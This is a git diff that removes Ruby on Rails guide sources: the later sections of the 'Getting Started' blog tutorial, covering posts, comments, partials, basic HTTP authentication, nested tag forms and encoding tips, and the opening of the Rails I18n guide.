-  <%= javascript_include_tag "application" %>
-  <%= csrf_meta_tags %>
-</head>
-<body style="background: #EEEEEE;">
-
-<%= yield %>
-
-</body>
-</html>
-</erb>
-
-Now when you refresh the +/posts+ page, you'll see a gray background to the
-page. This same gray background will be used throughout all the views for posts.
-
-h4. Creating New Posts
-
-Creating a new post involves two actions. The first is the +new+ action, which
-instantiates an empty +Post+ object:
-
-<ruby>
-def new
-  @post = Post.new
-
-  respond_to do |format|
-    format.html  # new.html.erb
-    format.json  { render :json => @post }
-  end
-end
-</ruby>
-
-The +new.html.erb+ view displays this empty Post to the user:
-
-<erb>
-<h1>New post</h1>
-
-<%= render 'form' %>
-
-<%= link_to 'Back', posts_path %>
-</erb>
-
-The +&lt;%= render 'form' %&gt;+ line is our first introduction to _partials_ in
-Rails. A partial is a snippet of HTML and Ruby code that can be reused in
-multiple locations. In this case, the form used to make a new post is basically
-identical to the form used to edit a post, both having text fields for the name and
-title, a text area for the content, and a button to create the new post or to update
-the existing one.
-
-If you take a look at +views/posts/_form.html.erb+ file, you will see the
-following:
-
-<erb>
-<%= form_for(@post) do |f| %>
-  <% if @post.errors.any? %>
-  <div id="errorExplanation">
-    <h2><%= pluralize(@post.errors.count, "error") %> prohibited
-	    this post from being saved:</h2>
-    <ul>
-    <% @post.errors.full_messages.each do |msg| %>
-      <li><%= msg %></li>
-    <% end %>
-    </ul>
-  </div>
-  <% end %>
-
-  <div class="field">
-    <%= f.label :name %><br />
-    <%= f.text_field :name %>
-  </div>
-  <div class="field">
-    <%= f.label :title %><br />
-    <%= f.text_field :title %>
-  </div>
-  <div class="field">
-    <%= f.label :content %><br />
-    <%= f.text_area :content %>
-  </div>
-  <div class="actions">
-    <%= f.submit %>
-  </div>
-<% end %>
-</erb>
-
-This partial receives all the instance variables defined in the calling view
-file. In this case, the controller assigned the new +Post+ object to +@post+,
-which will thus be available in both the view and the partial as +@post+.
-
-For more information on partials, refer to the "Layouts and Rendering in
-Rails":layouts_and_rendering.html#using-partials guide.
-
-The +form_for+ block is used to create an HTML form. Within this block, you have
-access to methods to build various controls on the form. For example,
-+f.text_field :name+ tells Rails to create a text input on the form and to hook
-it up to the +name+ attribute of the instance being displayed. You can only use
-these methods with attributes of the model that the form is based on (in this
-case +name+, +title+, and +content+). Rails uses +form_for+ in preference to
-having you write raw HTML because the code is more succinct, and because it
-explicitly ties the form to a particular model instance.
-
-The +form_for+ block is also smart enough to work out if you are doing a _New
-Post_ or an _Edit Post_ action, and will set the form +action+ tags and submit
-button names appropriately in the HTML output.
-
-TIP: If you need to create an HTML form that displays arbitrary fields, not tied
-to a model, you should use the +form_tag+ method, which provides shortcuts for
-building forms that are not necessarily tied to a model instance.
-
-When the user clicks the +Create Post+ button on this form, the browser will
-send information back to the +create+ action of the controller (Rails knows to
-call the +create+ action because the form is sent with an HTTP POST request;
-that's one of the conventions that were mentioned earlier):
-
-<ruby>
-def create
-  @post = Post.new(params[:post])
-
-  respond_to do |format|
-    if @post.save
-      format.html  { redirect_to(@post,
-                    :notice => 'Post was successfully created.') }
-      format.json  { render :json => @post,
-                    :status => :created, :location => @post }
-    else
-      format.html  { render :action => "new" }
-      format.json  { render :json => @post.errors,
-                    :status => :unprocessable_entity }
-    end
-  end
-end
-</ruby>
-
-The +create+ action instantiates a new Post object from the data supplied by the
-user on the form, which Rails makes available in the +params+ hash. After
-successfully saving the new post, +create+ returns the appropriate format that
-the user has requested (HTML in our case). It then redirects the user to the
-resulting post +show+ action and sets a notice to the user that the Post was
-successfully created.
-
-If the post was not successfully saved, due to a validation error, then the
-controller returns the user back to the +new+ action with any error messages so
-that the user has the chance to fix the error and try again.
-
-The "Post was successfully created." message is stored in the Rails
-+flash+ hash (usually just called _the flash_), so that messages can be carried
-over to another action, providing the user with useful information on the status
-of their request. In the case of +create+, the user never actually sees any page
-rendered during the post creation process, because it immediately redirects to
-the new +Post+ as soon as Rails saves the record. The Flash carries over a message to
-the next action, so that when the user is redirected back to the +show+ action,
-they are presented with a message saying "Post was successfully created."
-
-h4. Showing an Individual Post
-
-When you click the +show+ link for a post on the index page, it will bring you
-to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call
-to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter.
-Here's the +show+ action:
-
-<ruby>
-def show
-  @post = Post.find(params[:id])
-
-  respond_to do |format|
-    format.html  # show.html.erb
-    format.json  { render :json => @post }
-  end
-end
-</ruby>
-
-The +show+ action uses +Post.find+ to search for a single record in the database
-by its id value. After finding the record, Rails displays it by using
-+show.html.erb+:
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
-  <b>Name:</b>
-  <%= @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%= @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%= @post.content %>
-</p>
-
-
-<%= link_to 'Edit', edit_post_path(@post) %> |
-<%= link_to 'Back', posts_path %>
-</erb>
-
-h4. Editing Posts
-
-Like creating a new post, editing a post is a two-part process. The first step
-is a request to +edit_post_path(@post)+ with a particular post. This calls the
-+edit+ action in the controller:
-
-<ruby>
-def edit
-  @post = Post.find(params[:id])
-end
-</ruby>
-
-After finding the requested post, Rails uses the +edit.html.erb+ view to display
-it:
-
-<erb>
-<h1>Editing post</h1>
-
-<%= render 'form' %>
-
-<%= link_to 'Show', @post %> |
-<%= link_to 'Back', posts_path %>
-</erb>
-
-Again, as with the +new+ action, the +edit+ action is using the +form+ partial.
-This time, however, the form will do a PUT action to the +PostsController+ and the
-submit button will display "Update Post".
-
-Submitting the form created by this view will invoke the +update+ action within
-the controller:
-
-<ruby>
-def update
-  @post = Post.find(params[:id])
-
-  respond_to do |format|
-    if @post.update_attributes(params[:post])
-      format.html  { redirect_to(@post,
-                    :notice => 'Post was successfully updated.') }
-      format.json  { render :json => {}, :status => :ok }
-    else
-      format.html  { render :action => "edit" }
-      format.json  { render :json => @post.errors,
-                    :status => :unprocessable_entity }
-    end
-  end
-end
-</ruby>
-
-In the +update+ action, Rails first uses the +:id+ parameter passed back from
-the edit view to locate the database record that's being edited. The
-+update_attributes+ call then takes the +post+ parameter (a hash) from the request
-and applies it to this record. If all goes well, the user is redirected to the
-post's +show+ action. If there are any problems, it redirects back to the +edit+ action to
-correct them.
-
-h4. Destroying a Post
-
-Finally, clicking one of the +destroy+ links sends the associated id to the
-+destroy+ action:
-
-<ruby>
-def destroy
-  @post = Post.find(params[:id])
-  @post.destroy
-
-  respond_to do |format|
-    format.html { redirect_to posts_url }
-    format.json { head :ok }
-  end
-end
-</ruby>
-
-The +destroy+ method of an Active Record model instance removes the
-corresponding record from the database. After that's done, there isn't any
-record to display, so Rails redirects the user's browser to the index action of
-the controller.
-
-h3. Adding a Second Model
-
-Now that you've seen how a model built with scaffolding looks like, it's time to
-add a second model to the application. The second model will handle comments on
-blog posts.
-
-h4. Generating a Model
-
-Models in Rails use a singular name, and their corresponding database tables use
-a plural name. For the model to hold comments, the convention is to use the name
-+Comment+. Even if you don't want to use the entire apparatus set up by
-scaffolding, most Rails developers still use generators to make things like
-models and controllers. To create the new model, run this command in your
-terminal:
-
-<shell>
-$ rails generate model Comment commenter:string body:text post:references
-</shell>
-
-This command will generate four files:
-
-* +app/models/comment.rb+ - The model.
-* +db/migrate/20100207235629_create_comments.rb+ - The migration.
-* +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness.
-
-First, take a look at +comment.rb+:
-
-<ruby>
-class Comment < ActiveRecord::Base
-  belongs_to :post
-end
-</ruby>
-
-This is very similar to the +post.rb+ model that you saw earlier. The difference
-is the line +belongs_to :post+, which sets up an Active Record _association_.
-You'll learn a little about associations in the next section of this guide.
-
-In addition to the model, Rails has also made a migration to create the
-corresponding database table:
-
-<ruby>
-class CreateComments < ActiveRecord::Migration
-  def change
-    create_table :comments do |t|
-      t.string :commenter
-      t.text :body
-      t.references :post
-
-      t.timestamps
-    end
-
-    add_index :comments, :post_id
-  end
-end
-</ruby>
-
-The +t.references+ line sets up a foreign key column for the association between
-the two models. And the +add_index+ line sets up an index for this association
-column. Go ahead and run the migration:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Rails is smart enough to only execute the migrations that have not already been
-run against the current database, so in this case you will just see:
-
-<shell>
-==  CreateComments: migrating =================================================
--- create_table(:comments)
-   -> 0.0017s
-==  CreateComments: migrated (0.0018s) ========================================
-</shell>
-
-h4. Associating Models
-
-Active Record associations let you easily declare the relationship between two
-models. In the case of comments and posts, you could write out the relationships
-this way:
-
-* Each comment belongs to one post.
-* One post can have many comments.
-
-In fact, this is very close to the syntax that Rails uses to declare this
-association. You've already seen the line of code inside the Comment model that
-makes each comment belong to a Post:
-
-<ruby>
-class Comment < ActiveRecord::Base
-  belongs_to :post
-end
-</ruby>
-
-You'll need to edit the +post.rb+ file to add the other side of the association:
-
-<ruby>
-class Post < ActiveRecord::Base
-  validates :name,  :presence => true
-  validates :title, :presence => true,
-                    :length => { :minimum => 5 }
-
-  has_many :comments
-end
-</ruby>
-
-These two declarations enable a good bit of automatic behavior. For example, if
-you have an instance variable +@post+ containing a post, you can retrieve all
-the comments belonging to that post as an array using +@post.comments+.
-
-TIP: For more information on Active Record associations, see the "Active Record
-Associations":association_basics.html guide.
-
-h4. Adding a Route for Comments
-
-As with the +home+ controller, we will need to add a route so that Rails knows
-where we would like to navigate to see +comments+. Open up the
-+config/routes.rb+ file again. Near the top, you will see the entry for +posts+
-that was added automatically by the scaffold generator: <tt>resources
-:posts</tt>. Edit it as follows:
-
-<ruby>
-resources :posts do
-  resources :comments
-end
-</ruby>
-
-This creates +comments+ as a _nested resource_ within +posts+. This is another
-part of capturing the hierarchical relationship that exists between posts and
-comments.
-
-TIP: For more information on routing, see the "Rails Routing from the Outside
-In":routing.html guide.
-
-h4. Generating a Controller
-
-With the model in hand, you can turn your attention to creating a matching
-controller. Again, there's a generator for this:
-
-<shell>
-$ rails generate controller Comments
-</shell>
-
-This creates six files and one empty directory:
-
-* +app/controllers/comments_controller.rb+ - The controller.
-* +app/helpers/comments_helper.rb+ - A view helper file.
-* +test/functional/comments_controller_test.rb+ - The functional tests for the controller.
-* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper.
-* +app/views/comments/+ - Views of the controller are stored here.
-* +app/assets/stylesheets/comment.css.scss+ - Cascading style sheet for the controller.
-* +app/assets/javascripts/comment.js.coffee+ - CoffeeScript for the controller.
-
-Like with any blog, our readers will create their comments directly after
-reading the post, and once they have added their comment, will be sent back to
-the post show page to see their comment now listed. Due to this, our
-+CommentsController+ is there to provide a method to create comments and delete
-spam comments when they arrive.
-
-So first, we'll wire up the Post show template
-(+/app/views/posts/show.html.erb+) to let us make a new comment:
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
-  <b>Name:</b>
-  <%= @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%= @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%= @post.content %>
-</p>
-
-<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
-  <div class="field">
-    <%= f.label :commenter %><br />
-    <%= f.text_field :commenter %>
-  </div>
-  <div class="field">
-    <%= f.label :body %><br />
-    <%= f.text_area :body %>
-  </div>
-  <div class="actions">
-    <%= f.submit %>
-  </div>
-<% end %>
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-This adds a form on the +Post+ show page that creates a new comment by
-calling the +CommentsController+ +create+ action. Let's wire that up:
-
-<ruby>
-class CommentsController < ApplicationController
-  def create
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.create(params[:comment])
-    redirect_to post_path(@post)
-  end
-end
-</ruby>
-
-You'll see a bit more complexity here than you did in the controller for posts.
-That's a side-effect of the nesting that you've set up. Each request for a
-comment has to keep track of the post to which the comment is attached, thus the
-initial call to the +find+ method of the +Post+ model to get the post in question.
-
-In addition, the code takes advantage of some of the methods available for an
-association. We use the +create+ method on +@post.comments+ to create and save
-the comment. This will automatically link the comment so that it belongs to that
-particular post.
-
-Once we have made the new comment, we send the user back to the original post
-using the +post_path(@post)+ helper. As we have already seen, this calls the
-+show+ action of the +PostsController+ which in turn renders the +show.html.erb+
-template. This is where we want the comment to show, so let's add that to the
-+app/views/posts/show.html.erb+.
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
-  <b>Name:</b>
-  <%= @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%= @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%= @post.content %>
-</p>
-
-<h2>Comments</h2>
-<% @post.comments.each do |comment| %>
-  <p>
-    <b>Commenter:</b>
-    <%= comment.commenter %>
-  </p>
-
-  <p>
-    <b>Comment:</b>
-    <%= comment.body %>
-  </p>
-<% end %>
-
-<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
-  <div class="field">
-    <%= f.label :commenter %><br />
-    <%= f.text_field :commenter %>
-  </div>
-  <div class="field">
-    <%= f.label :body %><br />
-    <%= f.text_area :body %>
-  </div>
-  <div class="actions">
-    <%= f.submit %>
-  </div>
-<% end %>
-
-<br />
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-Now you can add posts and comments to your blog and have them show up in the
-right places.
-
-h3. Refactoring
-
-Now that we have posts and comments working, take a look at the
-+app/views/posts/show.html.erb+ template. It is getting long and awkward. We can
-use partials to clean it up.
-
-h4. Rendering Partial Collections
-
-First we will make a comment partial to extract showing all the comments for the
-post. Create the file +app/views/comments/_comment.html.erb+ and put the
-following into it:
-
-<erb>
-<p>
-  <b>Commenter:</b>
-  <%= comment.commenter %>
-</p>
-
-<p>
-  <b>Comment:</b>
-  <%= comment.body %>
-</p>
-</erb>
-
-Then you can change +app/views/posts/show.html.erb+ to look like the
-following:
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
-  <b>Name:</b>
-  <%= @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%= @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%= @post.content %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
-
-<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
-  <div class="field">
-    <%= f.label :commenter %><br />
-    <%= f.text_field :commenter %>
-  </div>
-  <div class="field">
-    <%= f.label :body %><br />
-    <%= f.text_area :body %>
-  </div>
-  <div class="actions">
-    <%= f.submit %>
-  </div>
-<% end %>
-
-<br />
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-This will now render the partial in +app/views/comments/_comment.html.erb+ once
-for each comment that is in the +@post.comments+ collection. As the +render+
-method iterates over the <tt>@post.comments</tt> collection, it assigns each
-comment to a local variable named the same as the partial, in this case
-+comment+ which is then available in the partial for us to show.
-
-h4. Rendering a Partial Form
-
-Let us also move that new comment section out to its own partial. Again, you
-create a file +app/views/comments/_form.html.erb+ containing:
-
-<erb>
-<%= form_for([@post, @post.comments.build]) do |f| %>
-  <div class="field">
-    <%= f.label :commenter %><br />
-    <%= f.text_field :commenter %>
-  </div>
-  <div class="field">
-    <%= f.label :body %><br />
-    <%= f.text_area :body %>
-  </div>
-  <div class="actions">
-    <%= f.submit %>
-  </div>
-<% end %>
-</erb>
-
-Then you make the +app/views/posts/show.html.erb+ look like the following:
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
-  <b>Name:</b>
-  <%= @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%= @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%= @post.content %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
-
-<h2>Add a comment:</h2>
-<%= render "comments/form" %>
-
-<br />
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-The second render just defines the partial template we want to render,
-<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that
-string and realize that you want to render the <tt>_form.html.erb</tt> file in
-the <tt>app/views/comments</tt> directory.
-
-The +@post+ object is available to any partials rendered in the view because we
-defined it as an instance variable.
-
-h3. Deleting Comments
-
-Another important feature of a blog is being able to delete spam comments. To do
-this, we need to implement a link of some sort in the view and a +DELETE+ action
-in the +CommentsController+.
-
-So first, let's add the delete link in the
-+app/views/comments/_comment.html.erb+ partial:
-
-<erb>
-<p>
-  <b>Commenter:</b>
-  <%= comment.commenter %>
-</p>
-
-<p>
-  <b>Comment:</b>
-  <%= comment.body %>
-</p>
-
-<p>
-  <%= link_to 'Destroy Comment', [comment.post, comment],
-               :confirm => 'Are you sure?',
-               :method => :delete %>
-</p>
-</erb>
-
-Clicking this new "Destroy Comment" link will fire off a <tt>DELETE
-/posts/:id/comments/:id</tt> to our +CommentsController+, which can then use
-this to find the comment we want to delete, so let's add a destroy action to our
-controller:
-
-<ruby>
-class CommentsController < ApplicationController
-
-  def create
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.create(params[:comment])
-    redirect_to post_path(@post)
-  end
-
-  def destroy
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.find(params[:id])
-    @comment.destroy
-    redirect_to post_path(@post)
-  end
-
-end
-</ruby>
-
-The +destroy+ action will find the post we are looking at, locate the comment
-within the <tt>@post.comments</tt> collection, and then remove it from the
-database and send us back to the show action for the post.
-
-
-h4. Deleting Associated Objects
-
-If you delete a post then its associated comments will also need to be deleted.
-Otherwise they would simply occupy space in the database. Rails allows you to
-use the +dependent+ option of an association to achieve this. Modify the Post
-model, +app/models/post.rb+, as follows:
-
-<ruby>
-class Post < ActiveRecord::Base
-  validates :name,  :presence => true
-  validates :title, :presence => true,
-                    :length => { :minimum => 5 }
-  has_many :comments, :dependent => :destroy
-end
-</ruby>
-
-h3. Security
-
-If you were to publish your blog online, anybody would be able to add, edit and
-delete posts or delete comments.
-
-Rails provides a very simple HTTP authentication system that will work nicely in
-this situation.
-
-In the +PostsController+ we need to have a way to block access to the various
-actions if the person is not authenticated, here we can use the Rails
-<tt>http_basic_authenticate_with</tt> method, allowing access to the requested
-action if that method allows it.
-
-To use the authentication system, we specify it at the top of our
-+PostsController+, in this case, we want the user to be authenticated on every
-action, except for +index+ and +show+, so we write that:
-
-<ruby>
-class PostsController < ApplicationController
-
-  http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show]
-
-  # GET /posts
-  # GET /posts.json
-  def index
-    @posts = Post.all
-    respond_to do |format|
-# snipped for brevity
-</ruby>
-
-We also only want to allow authenticated users to delete comments, so in the
-+CommentsController+ we write:
-
-<ruby>
-class CommentsController < ApplicationController
-
-  http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy
-
-  def create
-    @post = Post.find(params[:post_id])
-# snipped for brevity
-</ruby>
-
-Now if you try to create a new post, you will be greeted with a basic HTTP
-Authentication challenge
-
-!images/challenge.png(Basic HTTP Authentication Challenge)!
-
-h3. Building a Multi-Model Form
-
-Another feature of your average blog is the ability to tag posts. To implement
-this feature your application needs to interact with more than one model on a
-single form. Rails offers support for nested forms.
-
-To demonstrate this, we will add support for giving each post multiple tags,
-right in the form where you create the post. First, create a new model to hold
-the tags:
-
-<shell>
-$ rails generate model tag name:string post:references
-</shell>
-
-Again, run the migration to create the database table:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Next, edit the +post.rb+ file to create the other side of the association, and
-to tell Rails (via the +accepts_nested_attributes_for+ macro) that you intend to
-edit tags via posts:
-
-<ruby>
-class Post < ActiveRecord::Base
-  validates :name,  :presence => true
-  validates :title, :presence => true,
-                    :length => { :minimum => 5 }
-
-  has_many :comments, :dependent => :destroy
-  has_many :tags
-
-  accepts_nested_attributes_for :tags, :allow_destroy => :true,
-    :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
-end
-</ruby>
-
-The +:allow_destroy+ option on the nested attribute declaration tells Rails to
-display a "remove" checkbox on the view that you'll build shortly. The
-+:reject_if+ option prevents saving new tags that do not have any attributes
-filled in.
-
-We will modify +views/posts/_form.html.erb+ to render a partial to make a tag:
-
-<erb>
-<% @post.tags.build %>
-<%= form_for(@post) do |post_form| %>
-  <% if @post.errors.any? %>
-  <div id="errorExplanation">
-    <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
-    <ul>
-    <% @post.errors.full_messages.each do |msg| %>
-      <li><%= msg %></li>
-    <% end %>
-    </ul>
-  </div>
-  <% end %>
-
-  <div class="field">
-    <%= post_form.label :name %><br />
-    <%= post_form.text_field :name %>
-  </div>
-  <div class="field">
-    <%= post_form.label :title %><br />
-    <%= post_form.text_field :title %>
-  </div>
-  <div class="field">
-    <%= post_form.label :content %><br />
-    <%= post_form.text_area :content %>
-  </div>
-  <h2>Tags</h2>
-  <%= render :partial => 'tags/form',
-             :locals => {:form => post_form} %>
-  <div class="actions">
-    <%= post_form.submit %>
-  </div>
-<% end %>
-</erb>
-
-Note that we have changed the +f+ in +form_for(@post) do |f|+ to +post_form+ to
-make it easier to understand what is going on.
-
-This example shows another option of the render helper, being able to pass in
-local variables, in this case, we want the local variable +form+ in the partial
-to refer to the +post_form+ object.
-
-We also add a <tt>@post.tags.build</tt> at the top of this form. This is to make
-sure there is a new tag ready to have its name filled in by the user. If you do
-not build the new tag, then the form will not appear as there is no new Tag
-object ready to create.
-
-Now create the folder <tt>app/views/tags</tt> and make a file in there called
-<tt>_form.html.erb</tt> which contains the form for the tag:
-
-<erb>
-<%= form.fields_for :tags do |tag_form| %>
-  <div class="field">
-    <%= tag_form.label :name, 'Tag:' %>
-    <%= tag_form.text_field :name %>
-  </div>
-  <% unless tag_form.object.nil? || tag_form.object.new_record? %>
-    <div class="field">
-      <%= tag_form.label :_destroy, 'Remove:' %>
-      <%= tag_form.check_box :_destroy %>
-    </div>
-  <% end %>
-<% end %>
-</erb>
-
-Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to
-show our tags.
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
-  <b>Name:</b>
-  <%= @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%= @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%= @post.content %>
-</p>
-
-<p>
-  <b>Tags:</b>
-  <%= @post.tags.map { |t| t.name }.join(", ") %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
-
-<h2>Add a comment:</h2>
-<%= render "comments/form" %>
-
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-With these changes in place, you'll find that you can edit a post and its tags
-directly on the same view.
-
-However, that method call <tt>@post.tags.map { |t| t.name }.join(", ")</tt> is
-awkward, we could handle this by making a helper method.
-
-h3. View Helpers
-
-View Helpers live in <tt>app/helpers</tt> and provide small snippets of reusable
-code for views. In our case, we want a method that strings a bunch of objects
-together using their name attribute and joining them with a comma. As this is
-for the Post show template, we put it in the PostsHelper.
-
-Open up <tt>app/helpers/posts_helper.rb</tt> and add the following:
-
-<erb>
-module PostsHelper
-  def join_tags(post)
-    post.tags.map { |t| t.name }.join(", ")
-  end
-end
-</erb>
-
-Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like
-this:
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
-  <b>Name:</b>
-  <%= @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%= @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%= @post.content %>
-</p>
-
-<p>
-  <b>Tags:</b>
-  <%= join_tags(@post) %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
-
-<h2>Add a comment:</h2>
-<%= render "comments/form" %>
-
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-h3. What's Next?
-
-Now that you've seen your first Rails application, you should feel free to
-update it and experiment on your own. But you don't have to do everything
-without help. As you need assistance getting up and running with Rails, feel
-free to consult these support resources:
-
-* The "Ruby on Rails guides":index.html
-* The "Ruby on Rails Tutorial":http://railstutorial.org/book
-* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk
-* The "#rubyonrails":irc://irc.freenode.net/#rubyonrails channel on irc.freenode.net
-* The "Rails Wiki":http://wiki.rubyonrails.org/
-
-Rails also comes with built-in help that you can generate using the rake command-line utility:
-
-* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +doc/guides+ folder of your application. Open +doc/guides/index.html+ in your web browser to explore the Guides.
-* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +doc/api+ folder of your application. Open +doc/api/index.html+ in your web browser to explore the API documentation.
-
-h3. Configuration Gotchas
-
-The easiest way to work with Rails is to store all external data as UTF-8. If
-you don't, Ruby libraries and Rails will often be able to convert your native
-data into UTF-8, but this doesn't always work reliably, so you're better off
-ensuring that all external data is UTF-8.
-
-If you have made a mistake in this area, the most common symptom is a black
-diamond with a question mark inside appearing in the browser. Another common
-symptom is characters like "ü" appearing instead of "ü". Rails takes a number
-of internal steps to mitigate common causes of these problems that can be
-automatically detected and corrected. However, if you have external data that is
-not stored as UTF-8, it can occasionally result in these kinds of issues that
-cannot be automatically detected by Rails and corrected.
-
-Two very common sources of data that are not UTF-8:
-* Your text editor: Most text editors (such as Textmate), default to saving files as
-  UTF-8. If your text editor does not, this can result in special characters that you
-  enter in your templates (such as é) to appear as a diamond with a question mark inside
-  in the browser. This also applies to your I18N translation files.
-  Most editors that do not already default to UTF-8 (such as some versions of
-  Dreamweaver) offer a way to change the default to UTF-8. Do so.
-* Your database. Rails defaults to converting data from your database into UTF-8 at
-  the boundary. However, if your database is not using UTF-8 internally, it may not
-  be able to store all characters that your users enter. For instance, if your database
-  is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese
-  character, the data will be lost forever once it enters the database. If possible,
-  use UTF-8 as the internal storage of your database.
diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile
deleted file mode 100644
index 2d4cc13571..0000000000
--- a/railties/guides/source/i18n.textile
+++ /dev/null
@@ -1,931 +0,0 @@
-h2. Rails Internationalization (I18n) API
-
-The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
-
-The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]
-
-So, in the process of _internationalizing_ your Rails application you have to:
-
-* Ensure you have support for i18n
-* Tell Rails where to find locale dictionaries
-* Tell Rails how to set, preserve and switch locales
-
-In the process of _localizing_ your application you'll probably want to do the following three things:
-
-* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc.
-* Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc.
-* Store the resulting dictionaries somewhere
-
-This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
-
-endprologue.
-
-NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information.
-
-h3. How I18n in Ruby on Rails Works
-
-Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
-
-* providing support for English and similar languages out of the box
-* making it easy to customize and extend everything for other languages
-
-As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
-
-h4. The Overall Architecture of the Library
-
-Thus, the Ruby I18n gem is split into two parts:
-
-* The public API of the i18n framework -- a Ruby module with public methods that define how the library works
-* A default backend (which is intentionally named _Simple_ backend) that implements these methods
-
-As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
-
-NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below.
-
-h4. The Public I18n API
-
-The most important methods of the I18n API are:
-
-<ruby>
-translate # Lookup text translations
-localize  # Localize Date and Time objects to local formats
-</ruby>
-
-These have the aliases #t and #l so you can use them like this:
-
-<ruby>
-I18n.t 'store.title'
-I18n.l Time.now
-</ruby>
-
-There are also attribute readers and writers for the following attributes:
-
-<ruby>
-load_path         # Announce your custom translation files
-locale            # Get and set the current locale
-default_locale    # Get and set the default locale
-exception_handler # Use a different exception_handler
-backend           # Use a different backend
-</ruby>
-
-So, let's internationalize a simple Rails application from the ground up in the next chapters!
-
-h3. Setup the Rails Application for Internationalization
-
-There are just a few simple steps to get up and running with I18n support for your application.
-
-h4. Configure the I18n Module
-
-Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
-
-Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to your *translations load path*, automatically.
-
-The default +en.yml+ locale in this directory contains a sample pair of translation strings:
-
-<ruby>
-en:
-  hello: "Hello world"
-</ruby>
-
